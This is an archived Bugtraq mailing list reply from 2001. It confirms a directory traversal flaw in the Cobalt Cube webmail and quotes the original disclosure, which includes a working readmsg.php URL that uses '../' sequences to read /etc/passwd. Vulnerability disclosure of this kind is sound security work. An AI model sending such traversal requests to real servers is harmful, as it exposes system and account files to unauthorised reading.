Bugtraq mailing list archives

Re: Cobalt Cube Webmail directory traversal


From: John <johns () tampabay rr com>
Date: Tue, 10 Jul 2001 18:37:55 -0400

I confirmed this on Cobalt's, now Sun, Cube III.

Paul Marshall wrote:

At 08:41 05/07/2001, you wrote:
I just got a new Cobalt Cube today and I have been poking around at it
for security issues... I noticed this minor issue in the webmail system.
Your
users are not aloud to have shell access by default however if they
malform their mailbox requests they can read local files with the perms
of the webserver. If your users have shell access they will not really
be gaining anything however this could be used to remotely gather
information for a future attack.

[admin admin]$ uname -a
Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown
[admin admin]$ cat /etc/issue

Cobalt Linux release 6.0 (Carmel)
Kernel 2.2.16C7 on an i586

http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../
../../../../../../../../etc/passwd&id=1

-KF

-- 
The events which transpired five thousand years ago;
Five years ago or five minutes ago, have determined
what will happen five minutes from now; five years
From now or five thousand years from now.
All history is a current event.
- Dr John Henrik Clake -


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